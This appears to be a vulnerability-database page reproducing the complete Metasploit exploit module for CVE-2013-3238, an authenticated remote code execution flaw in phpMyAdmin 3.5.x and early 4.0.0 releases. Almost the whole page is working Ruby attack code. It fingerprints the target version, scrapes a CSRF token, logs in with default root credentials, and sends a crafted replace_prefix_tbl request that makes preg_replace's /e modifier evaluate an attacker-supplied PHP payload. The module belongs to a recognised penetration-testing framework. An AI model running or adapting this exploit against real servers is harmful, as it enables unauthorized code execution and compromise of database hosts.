phpMyAdmin Authenticated Remote Code Execution via preg_replace()

1976-01-01T00:00:00
ID MSF:EXPLOIT/MULTI/HTTP/PHPMYADMIN_PREG_REPLACE
Type metasploit
Reporter Rapid7
Modified 1976-01-01T00:00:00

Description

This module exploits a PREG_REPLACE_EVAL vulnerability in phpMyAdmin's replace_prefix_tbl within libraries/mult_submits.inc.php via db_settings.php This affects versions 3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3. PHP versions > 5.4.6 are not vulnerable.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule &lt; Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' =&gt; 'phpMyAdmin Authenticated Remote Code Execution via preg_replace()',
      'Description' =&gt; %q{
          This module exploits a PREG_REPLACE_EVAL vulnerability in phpMyAdmin's
          replace_prefix_tbl within libraries/mult_submits.inc.php via db_settings.php
          This affects versions 3.5.x &lt; 3.5.8.1 and 4.0.0 &lt; 4.0.0-rc3.
          PHP versions &gt; 5.4.6 are not vulnerable.
      },
      'Author' =&gt;
        [
          'Janek "waraxe" Vind', # Discovery
          'Ben Campbell' # Metasploit Module
        ],
      'License' =&gt; MSF_LICENSE,
      'References' =&gt;
        [
          [ 'CVE', '2013-3238' ],
          [ 'PMASA', '2013-2'],
          [ 'waraxe', '2013-SA#103' ],
          [ 'EDB', '25003'],
          [ 'OSVDB', '92793'],
          [ 'URL', 'http://www.waraxe.us/advisory-103.html' ],
          [ 'URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2013-2.php' ]
        ],
      'Privileged' =&gt; false,
      'Platform'   =&gt; ['php'],
      'Arch'       =&gt; ARCH_PHP,
      'Payload'    =&gt;
        {
          'BadChars' =&gt; "&\n=+%",
          # Clear out PMA's error handler so it doesn't lose its mind
          # and cause ENOMEM errors and segfaults in the destructor.
          'Prepend' =&gt; "function foo($a,$b,$c,$d,$e){return true;};set_error_handler(foo);"
        },
      'Targets' =&gt;
        [
          [ 'Automatic', { } ],
        ],
      'DefaultTarget'  =&gt; 0,
      'DisclosureDate' =&gt; '2013-04-25'))

    register_options(
      [
        OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']),
        OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']),
        OptString.new('PASSWORD', [ false, "Password to authenticate with", ''])
      ])
  end

  def check
    begin
      res = send_request_cgi({ 'uri' =&gt; normalize_uri(target_uri.path, '/js/messages.php') })
    rescue
      vprint_error("Unable to connect to server.")
      return CheckCode::Unknown
    end

    if res.code != 200
      vprint_error("Unable to query /js/messages.php")
      return CheckCode::Unknown
    end

    php_version = res['X-Powered-By']
    if php_version
      vprint_status("PHP Version: #{php_version}")
      if php_version =~ /PHP\/(\d)\.(\d)\.(\d)/
        if $1.to_i &gt; 5
          return CheckCode::Safe
        else
          if $1.to_i == 5 and $2.to_i &gt; 4
            return CheckCode::Safe
          else
            if $1.to_i == 5 and $2.to_i == 4 and $3.to_i &gt; 6
              return CheckCode::Safe
            end
          end
        end
      end
    else
      vprint_status("Unknown PHP Version")
    end

    if res.body =~ /pmaversion = '(.*)';/
      print_status("phpMyAdmin version: #{$1}")
      case $1.downcase
        when '3.5.8.1', '4.0.0-rc3'
          return CheckCode::Safe
        when '4.0.0-alpha1', '4.0.0-alpha2', '4.0.0-beta1', '4.0.0-beta2', '4.0.0-beta3', '4.0.0-rc1', '4.0.0-rc2'
          return CheckCode::Appears
        else
          if $1.starts_with? '3.5.'
            return CheckCode::Appears
          end

          return CheckCode::Detected
      end
    end

    CheckCode::Safe
  end

  def exploit
    # Always display target info
    print_status(check[1])

    uri = target_uri.path
    print_status("Grabbing CSRF token...")
    response = send_request_cgi({ 'uri' =&gt; uri})
    if response.nil?
      fail_with(Failure::NotFound, "Failed to retrieve webpage.")
    end

    if (response.body !~ /"token"\s*value="([^"]*)"/)
      fail_with(Failure::NotFound, "Couldn't find token. Is URI set correctly?")
    else
      print_good("Retrieved token")
    end

    token = $1
    post = {
      'token' =&gt; token,
      'pma_username' =&gt; datastore['USERNAME'],
      'pma_password' =&gt; datastore['PASSWORD']
    }

    print_status("Authenticating...")

    login = send_request_cgi({
      'method' =&gt; 'POST',
      'uri' =&gt; normalize_uri(uri, 'index.php'),
      'vars_post' =&gt; post
    })

    if login.nil?
      fail_with(Failure::NotFound, "Failed to retrieve webpage.")
    end

    if login.redirect?
      token = login.redirection.to_s.scan(/token=(.*)[&|$]/).flatten.first
    else
      fail_with(Failure::NotFound, "Couldn't find token. Wrong PMA version?")
    end

    cookies = login.get_cookies

    login_check = send_request_cgi({
      'uri' =&gt; normalize_uri(uri, 'index.php'),
      'vars_get' =&gt; { 'token' =&gt; token },
      'cookie' =&gt; cookies
    })

    if login_check.body =~ /Welcome to/
      fail_with(Failure::NoAccess, "Authentication failed")
    else
      print_good("Authentication successful")
    end

    db = rand_text_alpha(3+rand(3))
    send_request_cgi({
      'uri'	=&gt; normalize_uri(uri, 'db_structure.php'),
      'method' =&gt; 'POST',
      'cookie' =&gt; cookies,
      'vars_post' =&gt; {
        'query_type' =&gt; 'replace_prefix_tbl',
        'db' =&gt; db,
        'selected[0]' =&gt; db,
        'token' =&gt; token,
        'from_prefix' =&gt; "/e\0",
        'to_prefix' =&gt; payload.encoded,
        'mult_btn' =&gt; 'Yes'
      }
    },1)
  end
end